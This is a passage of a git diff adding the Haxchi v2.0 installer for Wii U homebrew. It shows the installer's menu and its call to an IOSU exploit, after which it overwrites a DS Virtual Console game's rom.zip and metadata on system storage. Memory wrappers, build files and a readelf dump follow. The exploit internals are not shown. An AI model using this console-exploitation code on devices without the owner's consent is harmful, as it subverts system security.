0; + + s32 ListMax = gAvailCnt; + if( ListMax > 12 ) + ListMax = 12; + + u32 UpHeld = 0, DownHeld = 0; + while(1) + { + usleep(25000); + VPADRead(0, &vpad, 1, &vpadError); + if(vpadError != 0) + continue; + + if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) + { + OSScreenEnableEx(0, 0); + OSScreenEnableEx(1, 0); + free(screenBuffer); + return EXIT_SUCCESS; + } + if( vpad.btns_h & VPAD_BUTTON_DOWN ) + { + if(DownHeld == 0 || DownHeld > 10) + { + if( PosX + 1 >= ListMax ) + { + if( PosX + 1 + ScrollX < gAvailCnt) + ScrollX++; + else { + PosX = 0; + ScrollX = 0; + } + } else { + PosX++; + } + redraw = 1; + } + DownHeld++; + } + else + DownHeld = 0; + + if( vpad.btns_h & VPAD_BUTTON_UP ) + { + if(UpHeld == 0 || UpHeld > 10) + { + if( PosX <= 0 ) + { + if( ScrollX > 0 ) + ScrollX--; + else { + PosX = ListMax - 1; + ScrollX = gAvailCnt - ListMax; + } + } else { + PosX--; + } + redraw = 1; + } + UpHeld++; + } + else + UpHeld = 0; + + if( vpad.btns_d & VPAD_BUTTON_A ) + break; + + if( redraw ) + { + OSScreenClearBufferEx(0, 0); + OSScreenClearBufferEx(1, 0); + println_noflip(0,"Haxchi v2.0 by FIX94"); + println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); + println_noflip(2,"Please select the game for the Installation from the list below."); + // Starting position. + int gamelist_y = 4; + for (i = 0; i < ListMax; ++i, gamelist_y++) + { + const parsedList_t *cur_gi = &gAvail[i+ScrollX]; + char printStr[64]; + sprintf(printStr,"%c %s", i == PosX ? '>' : ' ', cur_gi->name); + println_noflip(gamelist_y, printStr); + } + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + redraw = 0; + } + } + const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX]; + for(j = 0; j < 2; j++) + { + OSScreenClearBufferEx(0, 0); + OSScreenClearBufferEx(1, 0); + println_noflip(0,"Haxchi v2.0 by FIX94"); + println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok"); + println_noflip(2,"You have selected the following game:"); + println_noflip(3,SelectedGame->name); + println_noflip(4,"This will install Haxchi. To remove it you have to delete and"); + println_noflip(5,"re-install the game. If you are sure press A, else press HOME."); + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + usleep(25000); + } + while(1) + { + usleep(25000); + VPADRead(0, &vpad, 1, &vpadError); + if(vpadError != 0) + continue; + //user aborted + if((vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_HOME) + { + OSScreenEnableEx(0, 0); + OSScreenEnableEx(1, 0); + free(screenBuffer); + return EXIT_SUCCESS; + } + //lets go! + if(vpad.btns_d & VPAD_BUTTON_A) + break; + } + + //will inject our custom mcp code + int line = 6; + println(line++,"Doing IOSU Exploit..."); + IOSUExploit(); + + int fsaFd = -1; + int sdMounted = 0; + int sdFd = -1, mlcFd = -1; + + //done with iosu exploit, take over mcp + if(MCPHookOpen() < 0) + { + println(line++,"MCP hook could not be opened!"); + goto prgEnd; + } + + //mount with full permissions + fsaFd = IOSUHAX_FSA_Open(); + if(fsaFd < 0) + { + println(line++,"FSA could not be opened!"); + goto prgEnd; + } + int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0); + if(ret < 0) + { + println(line++,"Failed to mount SD!"); + goto prgEnd; + } + else + sdMounted = 1; + char path[256]; + sprintf(path,"%s/content/0010/rom.zip",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) < 0) + { + println(line++,"No existing rom.zip not found in the game!"); + println(line++,"Make sure to update your DS title and try again."); + goto prgEnd; + } + else + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing rom.zip..."); + fsa_write(fsaFd, mlcFd, SelectedGame->romPtr, SelectedGame->romSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + } + + char sdHaxchiPath[256]; + sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath); + + char sdPath[256]; + sprintf(sdPath,"%s/config.txt",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t cfgSize = stats.size; + uint8_t *cfgBuf = malloc(cfgSize); + fsa_read(fsaFd, sdFd, cfgBuf, cfgSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + //write to nand + sprintf(path,"%s/content/config.txt",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing config.txt..."); + fsa_write(fsaFd, mlcFd, cfgBuf, cfgSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + //make it readable by game + IOSUHAX_FSA_ChangeMode(fsaFd, path, 0x644); + } + free(cfgBuf); + } + + sprintf(sdPath,"%s/title.txt",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t titleSize = stats.size; + xmlChar *titleBuf = malloc(titleSize+1); + memset(titleBuf, 0, titleSize+1); + fsa_read(fsaFd, sdFd, titleBuf, titleSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + sprintf(path,"%s/meta/meta.xml",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) >= 0) + { + IOSUHAX_FSA_StatFile(fsaFd, mlcFd, &stats); + size_t metaSize = stats.size; + char *metaBuf = malloc(metaSize); + fsa_read(fsaFd, mlcFd, metaBuf, metaSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + //parse doc + xmlDocPtr doc = xmlReadMemory(metaBuf, metaSize, "meta.xml", "utf-8", 0); + //change title + xmlNode *root_element = xmlDocGetRootElement(doc); + xmlNode *cur_node = NULL; + for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { + if (cur_node->type == XML_ELEMENT_NODE) { + if(memcmp(cur_node->name, "longname_", 9) == 0 || memcmp(cur_node->name, "shortname_", 10) == 0) + { + if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; + xmlNodeSetContent(cur_node, titleBuf); + } + } + } + //back to xml + xmlChar *newXml = NULL; + int newSize = 0; + xmlSaveNoEmptyTags = 1; //keeps original style + xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); + xmlFreeDoc(doc); + free(metaBuf); + //libxml2 adds in extra \n at the end + if(newXml != NULL && newSize > 0 && newXml[newSize-1] == '\n') + { + newXml[newSize-1] = '\0'; + newSize--; + } + //write back to nand + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Changing game title..."); + //UTF-8 BOM + char bom[3] = { 0xEF, 0xBB, 0xBF }; + if(memcmp(newXml, bom, 3) != 0) + fsa_write(fsaFd, mlcFd, bom, 0x03); + fsa_write(fsaFd, mlcFd, newXml, newSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + free(newXml); + } + } + free(titleBuf); + } + + sprintf(sdPath,"%s/bootDrcTex.tga",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t bootDrcTexSize = stats.size; + uint8_t *bootDrcTex = malloc(bootDrcTexSize); + fsa_read(fsaFd, sdFd, bootDrcTex, bootDrcTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + //write to nand + sprintf(path,"%s/meta/bootDrcTex.tga",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing bootDrcTex.tga..."); + fsa_write(fsaFd, mlcFd, bootDrcTex, bootDrcTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + } + free(bootDrcTex); + } + + sprintf(sdPath,"%s/bootTvTex.tga",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t bootTvTexSize = stats.size; + uint8_t *bootTvTex = malloc(bootTvTexSize); + fsa_read(fsaFd, sdFd, bootTvTex, bootTvTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + //write to nand + sprintf(path,"%s/meta/bootTvTex.tga",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing bootTvTex.tga..."); + fsa_write(fsaFd, mlcFd, bootTvTex, bootTvTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + } + free(bootTvTex); + } + + sprintf(sdPath,"%s/iconTex.tga",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t iconTexSize = stats.size; + uint8_t *iconTex = malloc(iconTexSize); + fsa_read(fsaFd, sdFd, iconTex, iconTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + //write to nand + sprintf(path,"%s/meta/iconTex.tga",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing iconTex.tga..."); + fsa_write(fsaFd, mlcFd, iconTex, iconTexSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + } + free(iconTex); + } + + sprintf(sdPath,"%s/bootSound.btsnd",sdHaxchiPath); + if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) + { + //read in sd file + fileStat_s stats; + IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); + size_t bootSoundSize = stats.size; + uint8_t *bootSound = malloc(bootSoundSize); + fsa_read(fsaFd, sdFd, bootSound, bootSoundSize); + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + sdFd = -1; + //write to nand + sprintf(path,"%s/meta/bootSound.btsnd",SelectedGame->path); + if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) + { + println(line++,"Writing bootSound.btsnd..."); + fsa_write(fsaFd, mlcFd, bootSound, bootSoundSize); + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + mlcFd = -1; + } + free(bootSound); + } + + println(line++,"Done installing Haxchi!"); + +prgEnd: + if(tList) + free(tList); + if(gAvail) + free(gAvail); + //close down everything fsa related + if(fsaFd >= 0) + { + if(mlcFd >= 0) + IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); + if(sdFd >= 0) + IOSUHAX_FSA_CloseFile(fsaFd, sdFd); + if(sdMounted) + IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2); + IOSUHAX_FSA_Close(fsaFd); + } + //close out old mcp instance + MCPHookClose(); + sleep(5); + //will do IOSU reboot + OSForceFullRelaunch(); + SYSLaunchMenu(); + OSScreenEnableEx(0, 0); + OSScreenEnableEx(1, 0); + free(screenBuffer); + return EXIT_RELAUNCH_ON_LOAD; +} diff --git a/installer/src/main.h b/installer/src/main.h new file mode 100644 index 0000000..0ee1b7b --- /dev/null +++ b/installer/src/main.h @@ -0,0 +1,20 @@ +//Main.h +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "common/types.h" +#include "dynamic_libs/os_functions.h" + +/* Main */ +#ifdef __cplusplus +extern "C" { +#endif + +//! C wrapper for our C++ functions +int Menu_Main(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/installer/src/system/memory.c b/installer/src/system/memory.c new file mode 100644 index 0000000..91f5392 --- /dev/null +++ b/installer/src/system/memory.c @@ -0,0 +1,198 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "common/common.h" +#include "memory.h" + +#define MEMORY_ARENA_1 0 +#define MEMORY_ARENA_2 1 +#define MEMORY_ARENA_3 2 +#define MEMORY_ARENA_4 3 +#define MEMORY_ARENA_5 4 +#define MEMORY_ARENA_6 5 +#define MEMORY_ARENA_7 6 +#define MEMORY_ARENA_8 7 +#define MEMORY_ARENA_FG_BUCKET 8 + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//! This is the only place where those are needed so lets keep them more or less private +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +extern unsigned int * pMEMAllocFromDefaultHeapEx; +extern unsigned int * pMEMAllocFromDefaultHeap; +extern unsigned int * pMEMFreeToDefaultHeap; + +extern int (* MEMGetBaseHeapHandle)(int mem_arena); +extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); +extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); +extern void (* MEMFreeToFrmHeap)(int heap, int mode); +extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); +extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); +extern void *(* MEMDestroyExpHeap)(int heap); +extern void (* MEMFreeToExpHeap)(int heap, void* ptr); + +static int mem1_heap = -1; +static int bucket_heap = -1; + +void memoryInitialize(void) +{ + int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); + unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); + void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); + if(mem1_memory) + mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + + int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); + void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); + if(bucket_memory) + bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); +} + +void memoryRelease(void) +{ + MEMDestroyExpHeap(mem1_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); + mem1_heap = -1; + + MEMDestroyExpHeap(bucket_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); + bucket_heap = -1; +} + +//!------------------------------------------------------------------------------------------- +//! wraps +//!------------------------------------------------------------------------------------------- +void *__wrap_malloc(size_t size) +{ + // pointer to a function resolve + return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); +} + +void *__wrap_memalign(size_t align, size_t size) +{ + if (align < 4) + align = 4; + + // pointer to a function resolve + return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); +} + +void __wrap_free(void *p) +{ + // pointer to a function resolve + if(p != 0) + ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); +} + +void *__wrap_calloc(size_t n, size_t size) +{ + void *p = __wrap_malloc(n * size); + if (p != 0) { + memset(p, 0, n * size); + } + return p; +} + +size_t __wrap_malloc_usable_size(void *p) +{ + //! TODO: this is totally wrong and needs to be addressed + return 0x7FFFFFFF; +} + +void *__wrap_realloc(void *p, size_t size) +{ + void *new_ptr = __wrap_malloc(size); + if (new_ptr != 0) + { + memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); + __wrap_free(p); + } + return new_ptr; +} + +//!------------------------------------------------------------------------------------------- +//! reent versions +//!------------------------------------------------------------------------------------------- +void *__wrap__malloc_r(struct _reent *r, size_t size) +{ + return __wrap_malloc(size); +} + +void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) +{ + return __wrap_calloc(n, size); +} + +void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) +{ + return __wrap_memalign(align, size); +} + +void __wrap__free_r(struct _reent *r, void *p) +{ + __wrap_free(p); +} + +size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) +{ + return __wrap_malloc_usable_size(p); +} + +void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) +{ + return __wrap_realloc(p, size); +} + +//!------------------------------------------------------------------------------------------- +//! some wrappers +//!------------------------------------------------------------------------------------------- +void * MEM2_alloc(unsigned int size, unsigned int align) +{ + return __wrap_memalign(align, size); +} + +void MEM2_free(void *ptr) +{ + __wrap_free(ptr); +} + +void * MEM1_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(mem1_heap, size, align); +} + +void MEM1_free(void *ptr) +{ + MEMFreeToExpHeap(mem1_heap, ptr); +} + +void * MEMBucket_alloc(unsigned int size, unsigned int align) +{ + if (align < 4) + align = 4; + return MEMAllocFromExpHeapEx(bucket_heap, size, align); +} + +void MEMBucket_free(void *ptr) +{ + MEMFreeToExpHeap(bucket_heap, ptr); +} diff --git a/installer/src/system/memory.h b/installer/src/system/memory.h new file mode 100644 index 0000000..59764d0 --- /dev/null +++ b/installer/src/system/memory.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef __MEMORY_H_ +#define __MEMORY_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +void memoryInitialize(void); +void memoryRelease(void); + +void * MEM2_alloc(unsigned int size, unsigned int align); +void MEM2_free(void *ptr); + +void * MEM1_alloc(unsigned int size, unsigned int align); +void MEM1_free(void *ptr); + +void * MEMBucket_alloc(unsigned int size, unsigned int align); +void MEMBucket_free(void *ptr); + +#ifdef __cplusplus +} +#endif + +#endif // __MEMORY_H_ diff --git a/installer/src/zipList.h b/installer/src/zipList.h new file mode 100644 index 0000000..c4bf678 --- /dev/null +++ b/installer/src/zipList.h @@ -0,0 +1,24 @@ + +#ifndef _ZIPLIST_H_ +#define _ZIPLIST_H_ + +extern u8 bigbrainacademy_zip[]; extern u32 bigbrainacademy_zip_size; +extern u8 brainage_zip[]; extern u32 brainage_zip_size; +extern u8 dkjclimber_zip[]; extern u32 dkjclimber_zip_size; +extern u8 kirby_zip[]; extern u32 kirby_zip_size; +extern u8 kirbycanvascurse_zip[]; extern u32 kirbycanvascurse_zip_size; +extern u8 kirbymassattack_zip[]; extern u32 kirbymassattack_zip_size; +extern u8 mariokartds_zip[]; extern u32 mariokartds_zip_size; +extern u8 masterofdisguise_zip[]; extern u32 masterofdisguise_zip_size; +extern u8 newsmb_zip[]; extern u32 newsmb_zip_size; +extern u8 newsmb_eur_zip[]; extern u32 newsmb_eur_zip_size; +extern u8 partnersintime_zip[]; extern u32 partnersintime_zip_size; +extern u8 sfcommand_zip[]; extern u32 sfcommand_zip_size; +extern u8 sm64ds_zip[]; extern u32 sm64ds_zip_size; +extern u8 wwtouched_zip[]; extern u32 wwtouched_zip_size; +extern u8 yoshids_zip[]; extern u32 yoshids_zip_size; +extern u8 yoshitouchandgo_zip[]; extern u32 yoshitouchandgo_zip_size; +extern u8 zeldaph_zip[]; extern u32 zeldaph_zip_size; +extern u8 zeldast_zip[]; extern u32 zeldast_zip_size; + +#endif diff --git a/installer/wupserver/Makefile b/installer/wupserver/Makefile new file mode 100644 index 0000000..3542b40 --- /dev/null +++ b/installer/wupserver/Makefile @@ -0,0 +1,76 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +# LINK = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +CFLAGS += -Wall -mbig-endian -std=c99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include +LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.*) +OFILES = $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +OFILES += $(BINFILES:data/%=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -o $(@) + echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ + +$(PROJECTNAME).elf: $(OFILES) + $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) + +clean: + @rm -f build/*.o build/*.d + @rmdir build 2>/nul; true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) + +build/%.tga.o: data/%.tga + @echo $(notdir $<) + @$(bin2o) diff --git a/installer/wupserver/ccd00.ld b/installer/wupserver/ccd00.ld new file mode 100644 index 0000000..1e5b2fd --- /dev/null +++ b/installer/wupserver/ccd00.ld @@ -0,0 +1,23 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x05100000, LENGTH = 0x0004000 + RAMRW (rw!i) : ORIGIN = 0x05089780, LENGTH = 0x00001F00 +} + +SECTIONS +{ + .text : ALIGN(0x100) { + build/crt0.o(.init) + *(.text) + *(.rodata) + } + + .bss : { + _bss_start = .; + *(.bss); + } + _bss_end = .; +} + diff --git a/installer/wupserver/ccd00.specs b/installer/wupserver/ccd00.specs new file mode 100644 index 0000000..ccff243 --- /dev/null +++ b/installer/wupserver/ccd00.specs @@ -0,0 +1,4 @@ +%rename link old_link + +*link: +%(old_link) -T ./ccd00.ld%s diff --git a/installer/wupserver/some.txt b/installer/wupserver/some.txt new file mode 100644 index 0000000..2c9acdb --- /dev/null +++ b/installer/wupserver/some.txt @@ -0,0 +1,224 @@ +ELF Header: + Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, big endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: EXEC (Executable file) + Machine: ARM + Version: 0x1 + Entry point address: 0x5100000 + Start of program headers: 52 (bytes into file) + Start of section headers: 75580 (bytes into file) + Flags: 0x5000202, has entry point, Version5 EABI, + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 1 + Size of section headers: 40 (bytes) + Number of section headers: 7 + Section header string table index: 4 + +Section Headers: + [Nr] Name Type Addr Off Size ES Flg Lk Inf Al + [ 0] NULL 00000000 000000 000000 00 0 0 0 + [ 1] .text PROGBITS 05100000 010000 001a20 00 AX 0 0 256 + [ 2] .ARM.attributes ARM_ATTRIBUTES 00000000 011a20 000025 00 0 0 1 + [ 3] .comment PROGBITS 00000000 011a45 000022 01 MS 0 0 1 + [ 4] .shstrtab STRTAB 00000000 011a67 00003a 00 0 0 1 + [ 5] .symtab SYMTAB 00000000 011aa4 0009d0 10 6 107 4 + [ 6] .strtab STRTAB 00000000 012474 0002c6 00 0 0 1 +Key to Flags: + W (write), A (alloc), X (execute), M (merge), S (strings) + I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) + O (extra OS processing required) o (OS specific), p (processor specific) + +There are no section groups in this file. + +Program Headers: + Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align + LOAD 0x010000 0x05100000 0x05100000 0x01a20 0x01a20 R E 0x10000 + + Section to Segment mapping: + Segment Sections... + 00 .text + +There is no dynamic section in this file. + +There are no relocations in this file. + +There are no unwind sections in this file. + +Symbol table '.symtab' contains 157 entries: + Num: Value Size Type Bind Vis Ndx Name + 0: 00000000 0 NOTYPE LOCAL DEFAULT UND + 1: 05100000 0 SECTION LOCAL DEFAULT 1 + 2: 00000000 0 SECTION LOCAL DEFAULT 2 + 3: 00000000 0 SECTION LOCAL DEFAULT 3 + 4: 00000000 0 FILE LOCAL DEFAULT ABS build/crt0.o + 5: 05100000 0 NOTYPE LOCAL DEFAULT 1 $a + 6: 05100010 0 NOTYPE LOCAL DEFAULT 1 $d + 7: 05100014 0 NOTYPE LOCAL DEFAULT 1 $a + 8: 00000000 0 FILE LOCAL DEFAULT ABS fsa.c + 9: 05100020 0 NOTYPE LOCAL DEFAULT 1 $a + 10: 05100020 52 FUNC LOCAL DEFAULT 1 allocIobuf + 11: 0510004c 0 NOTYPE LOCAL DEFAULT 1 $d + 12: 05100054 0 NOTYPE LOCAL DEFAULT 1 $a + 13: 05100054 16 FUNC LOCAL DEFAULT 1 freeIobuf + 14: 05100060 0 NOTYPE LOCAL DEFAULT 1 $d + 15: 05100064 0 NOTYPE LOCAL DEFAULT 1 $a + 16: 0510010c 0 NOTYPE LOCAL DEFAULT 1 $d + 17: 05100114 0 NOTYPE LOCAL DEFAULT 1 $a + 18: 0510017c 0 NOTYPE LOCAL DEFAULT 1 $d + 19: 05100184 0 NOTYPE LOCAL DEFAULT 1 $a + 20: 051001ec 0 NOTYPE LOCAL DEFAULT 1 $d + 21: 051001f4 0 NOTYPE LOCAL DEFAULT 1 $a + 22: 05100264 0 NOTYPE LOCAL DEFAULT 1 $d + 23: 0510026c 0 NOTYPE LOCAL DEFAULT 1 $a + 24: 051002dc 0 NOTYPE LOCAL DEFAULT 1 $d + 25: 051002e0 0 NOTYPE LOCAL DEFAULT 1 $a + 26: 05100334 0 NOTYPE LOCAL DEFAULT 1 $d + 27: 05100338 0 NOTYPE LOCAL DEFAULT 1 $a + 28: 0510038c 0 NOTYPE LOCAL DEFAULT 1 $d + 29: 05100390 0 NOTYPE LOCAL DEFAULT 1 $a + 30: 051003f0 0 NOTYPE LOCAL DEFAULT 1 $d + 31: 051003f8 0 NOTYPE LOCAL DEFAULT 1 $a + 32: 0510047c 0 NOTYPE LOCAL DEFAULT 1 $d + 33: 05100484 0 NOTYPE LOCAL DEFAULT 1 $a + 34: 05100528 0 NOTYPE LOCAL DEFAULT 1 $d + 35: 0510052c 0 NOTYPE LOCAL DEFAULT 1 $a + 36: 051005ec 0 NOTYPE LOCAL DEFAULT 1 $d + 37: 051005f0 0 NOTYPE LOCAL DEFAULT 1 $a + 38: 05100644 0 NOTYPE LOCAL DEFAULT 1 $d + 39: 05100648 0 NOTYPE LOCAL DEFAULT 1 $a + 40: 051006a4 0 NOTYPE LOCAL DEFAULT 1 $d + 41: 051006a8 0 NOTYPE LOCAL DEFAULT 1 $a + 42: 0510072c 0 NOTYPE LOCAL DEFAULT 1 $d + 43: 05100734 0 NOTYPE LOCAL DEFAULT 1 $a + 44: 05100794 0 NOTYPE LOCAL DEFAULT 1 $d + 45: 0510079c 0 NOTYPE LOCAL DEFAULT 1 $a + 46: 0510080c 0 NOTYPE LOCAL DEFAULT 1 $d + 47: 05100818 0 NOTYPE LOCAL DEFAULT 1 $a + 48: 051008a0 0 NOTYPE LOCAL DEFAULT 1 $d + 49: 051008ac 0 NOTYPE LOCAL DEFAULT 1 $a + 50: 0510091c 0 NOTYPE LOCAL DEFAULT 1 $d + 51: 05100924 0 NOTYPE LOCAL DEFAULT 1 $a + 52: 05100978 0 NOTYPE LOCAL DEFAULT 1 $d + 53: 0510097c 0 NOTYPE LOCAL DEFAULT 1 $a + 54: 05100a14 0 NOTYPE LOCAL DEFAULT 1 $d + 55: 05100a18 0 NOTYPE LOCAL DEFAULT 1 $a + 56: 05100ab0 0 NOTYPE LOCAL DEFAULT 1 $d + 57: 05101a10 9 OBJECT LOCAL DEFAULT 1 CSWTCH.36 + 58: 00000000 0 FILE LOCAL DEFAULT ABS imports.c + 59: 05100ab4 0 NOTYPE LOCAL DEFAULT 1 $a + 60: 05100abc 0 NOTYPE LOCAL DEFAULT 1 $d + 